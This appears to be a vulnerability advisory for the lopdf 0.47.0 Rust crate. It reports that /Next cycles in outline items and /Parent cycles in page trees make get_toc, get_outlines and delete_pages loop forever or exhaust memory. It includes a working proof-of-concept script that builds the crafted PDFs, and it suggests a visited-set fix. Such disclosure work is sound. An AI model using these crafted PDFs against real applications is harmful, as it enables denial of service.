lopdf 0.47.0 hangs and exhausts memory in Document::get_outlines when outline items' /Next entries form a cycle
Description
Details
Document::get_outlines (src/outlines.rs:40-110, released in lopdf 0.47.0) follows each outline item's /Next entry in a loop (src/outlines.rs:85-108) that keeps no visited set and has no iteration bound. Two items whose /Next entries reference each other keep the loop running forever; when the items also carry /Dest and /Title, every pass appends an Outline to the returned vector and clones the /Title string (src/outlines.rs:86-89), so the heap grows without bound. Document::get_toc() calls get_outlines (src/toc.rs:92-100), so an application that loads an attacker-supplied PDF and extracts its table of contents never returns.
The same gap was measured in Document::delete_pages' /Parent walk (src/processor.rs:43-70): after the page is deleted, the while let Ok(page_tree_id) = page_tree_ref loop (src/processor.rs:54) follows /Parent with no visited set, so two page-tree nodes whose /Parent entries point at each other make the call loop forever. Issue #530 fixed the recursive /First path with a depth counter, and its own table states that of get_outlines '/Next is iterative'; an iterative walk still needs a visited set.
Proof of Concept
#!/usr/bin/env bash
# Proof for the lopdf 0.47.0 outline /Next cycle.
#
# Arms (crates.io lopdf =0.47.0, release profile):
# 1 control a two-item /Next chain that ends -> get_toc returns
# 2 control at 512 MiB the same control under an address-space cap -> get_toc returns
# 3 cycle two items whose /Next entries point at each other -> still running at 5 s
# 4 cycle at 512 MiB the same call under the same cap -> allocation abort
# 5 bare cycle no /Title and no /Dest: nothing is allocated -> still running at 5 s
# 6 delete control a well-formed page tree -> delete_pages returns
# 7 delete cycle two page-tree nodes whose /Parent entries point
# at each other -> still running at 5 s
#
# bash's `ulimit -v` counts KiB: 524288 = 512 MiB.
# Exit 134 is SIGABRT (Rust allocation failure); 143 is SIGTERM from `timeout`.
set -u
echo "=== proof_outline.sh (printed in full) ==="
cat "$0"
echo "=== proof_outline.sh sha256 ==="
sha256sum "$0"
echo "=== start $(date -u +%FT%TZ) ==="
apk add --no-cache rust-1.92 gcc 2>&1 | tail -2
rustc --version
cargo --version
export CARGO_HOME="${CARGO_HOME:-/work/cargo}"
mkdir -p "$CARGO_HOME" /work/poc && cd /work/poc || exit 1
rm -rf lopdf-toc-poc
cargo new --bin lopdf-toc-poc && cd lopdf-toc-poc || exit 1
cargo add lopdf@=0.47.0 2>&1 | tail -2
cat > src/main.rs <<'RUST'
use lopdf::Document;
fn assemble(objs: &[(u32, String)], root: u32) -> Vec<u8> {
let mut out: Vec<u8> = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n".to_vec();
let mut off = vec![0usize; objs.len() + 1];
for (n, body) in objs {
off[*n as usize] = out.len();
out.extend_from_slice(format!("{} 0 obj\n{}\nendobj\n", n, body).as_bytes());
}
let x = out.len();
out.extend_from_slice(format!("xref\n0 {}\n0000000000 65535 f \n", objs.len() + 1).as_bytes());
for n in 1..=objs.len() {
out.extend_from_slice(format!("{:010} 00000 n \n", off[n]).as_bytes());
}
let t = format!("trailer\n<< /Size {} /Root {} 0 R >>\nstartxref\n{}\n%%EOF\n", objs.len() + 1, root, x);
out.extend_from_slice(t.as_bytes());
out
}
fn outline(cycle: bool, bare: bool) -> Vec<u8> {
let title = if bare { String::new() } else { "T".repeat(65536) };
let n = if cycle { " /Next 5 0 R" } else { "" };
let (i5, i6) = if bare {
("<< /Parent 3 0 R /Next 6 0 R >>".to_string(), format!("<< /Parent 3 0 R{} >>", n))
} else {
(format!("<< /Title ({}) /Parent 3 0 R /Next 6 0 R /Dest [4 0 R /Fit] >>", title),
format!("<< /Title ({}) /Parent 3 0 R{} /Dest [4 0 R /Fit] >>", title, n))
};
assemble(&[
(1, "<< /Type /Catalog /Pages 2 0 R /Outlines 3 0 R >>".to_string()),
(2, "<< /Type /Pages /Kids [4 0 R] /Count 1 >>".to_string()),
(3, "<< /Type /Outlines /First 5 0 R /Last 6 0 R >>".to_string()),
(4, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 100 100] >>".to_string()),
(5, i5), (6, i6)], 1)
}
fn tree(cycle: bool) -> Vec<u8> {
let mut o = vec![
(1, "<< /Type /Catalog /Pages 2 0 R >>".to_string()),
(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>".to_string())];
if cycle {
o.push((3, "<< /Type /Page /Parent 4 0 R /MediaBox [0 0 100 100] >>".to_string()));
o.push((4, "<< /Type /Pages /Kids [] /Count 0 /Parent 5 0 R >>".to_string()));
o.push((5, "<< /Type /Pages /Kids [] /Count 0 /Parent 4 0 R >>".to_string()));
} else {
o.push((3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 100 100] >>".to_string()));
}
assemble(&o, 1)
}
fn rss() {
if let Ok(s) = std::fs::read_to_string("/proc/self/status") {
for l in s.lines().filter(|l| l.starts_with("VmHWM") || l.starts_with("VmRSS")) {
eprintln!("{}", l);
}
}
}
fn main() {
let mode = std::env::args().nth(1).unwrap_or_default();
let bytes = match mode.as_str() {
"control" => outline(false, false),
"cycle" => outline(true, false),
"bare" => outline(true, true),
"delcontrol" => tree(false),
"delcycle" => tree(true),
_ => { eprintln!("usage: lopdf-toc-poc <control|cycle|bare|delcontrol|delcycle>"); return; }
};
eprintln!("input {} bytes, mode {}", bytes.len(), mode);
let mut doc = match Document::load_mem(&bytes) {
Ok(d) => d,
Err(e) => { eprintln!("load: Err({:?})", e); rss(); return; }
};
eprintln!("load: Ok, objects={}", doc.objects.len());
if mode.starts_with("del") {
eprintln!("calling delete_pages(&[1])");
doc.delete_pages(&[1]);
eprintln!("delete_pages: returned");
} else {
eprintln!("calling get_toc()");
match doc.get_toc() {
Ok(t) => eprintln!("get_toc: Ok, entries={}, errors={}", t.toc.len(), t.errors.len()),
Err(e) => eprintln!("get_toc: Err({:?})", e),
}
}
rss();
}
RUST
cargo build --release 2>&1 | tail -3
grep -A2 'name = "lopdf"' Cargo.lock | head -3
sha256sum target/release/lopdf-toc-poc
echo
echo "=== ARM 1: control outline, get_toc returns ==="
timeout 20 ./target/release/lopdf-toc-poc control
echo "exit=$?"
echo
echo "=== ARM 2: the same control under a 512 MiB address-space cap ==="
( ulimit -v 524288; exec timeout 20 ./target/release/lopdf-toc-poc control )
echo "exit=$? (0 = the cap leaves the process healthy)"
echo
echo "=== ARM 3: outline cycle, 5 s timeout ==="
timeout 5 ./target/release/lopdf-toc-poc cycle
echo "exit=$? (143 = SIGTERM: still running)"
echo
echo "=== ARM 4: outline cycle under the 512 MiB address-space cap ==="
( ulimit -v 524288; exec ./target/release/lopdf-toc-poc cycle )
echo "exit=$? (134 = allocation failure abort)"
echo
echo "=== ARM 5: bare outline cycle under the same cap ==="
( ulimit -v 524288; exec timeout 5 ./target/release/lopdf-toc-poc bare )
echo "exit=$? (143 = still running: the /Next loop itself never ends)"
echo
echo "=== ARM 6: control page tree, delete_pages returns ==="
timeout 20 ./target/release/lopdf-toc-poc delcontrol
echo "exit=$?"
echo
echo "=== ARM 7: page-tree /Parent cycle, delete_pages 5 s timeout ==="
timeout 5 ./target/release/lopdf-toc-poc delcycle
echo "exit=$? (143 = still running: the /Parent walk never ends)"
echo "=== end $(date -u +%FT%TZ) ==="Impact
Denial of service: a 567-byte PDF whose two outline items reference each other through /Next makes Document::get_toc() and Document::get_outlines() run forever; with 64 KiB /Title and /Dest entries on both items (131,688 bytes) the same call appends an Outline per pass and the process is killed at a 65,536-byte allocation under a 512 MiB address-space cap. The same root cause reaches Document::delete_pages: a 507-byte page tree whose two nodes' /Parent entries point at each other never returns from delete_pages(&[1]). A remote PDF submitter who can hand the application a PDF therefore stops or exhausts any process that extracts a table of contents or deletes a page from it. No authentication or configuration is required, and each file loads Ok before the call. An attacker who can submit a PDF to an application that extracts its table of contents can stop that call or exhaust the process's memory with a 567-byte file that loads Ok first.
Remediation
No fixed release exists yet (0.47.0 is the latest). Suggested fix: record every /Next target in get_outlines' loop and every /Parent target in delete_pages' walk in a HashSet and stop when one repeats, as the crate already does for object-graph traversal (Document::traverse_objects' seen set) and for inherited resources (get_page_resources' already_seen set); a bound on the number of items visited, like PageTreeIter's iter_limit, is the alternative. Both walks are iterative, so the visited set is the whole fix.
Disclosure Notes
Reproduced against lopdf 0.47.0 (crates.io, published 2026-11-04, the latest release at the time of this report); no earlier release was executed. The same code is present on the default branch at commit 74baa4a071 (2026-11-17), where src/outlines.rs, src/toc.rs and src/processor.rs are unchanged from 0.47.0; the five commits since 2026-11-08 touch neither walk.
When you publish this advisory, please request a CVE for it with the Request CVE button on the advisory page. Please credit the report to EZO Labs Security (GitHub user superbot-helper; ezolabs.net, tony@ezolabs.net).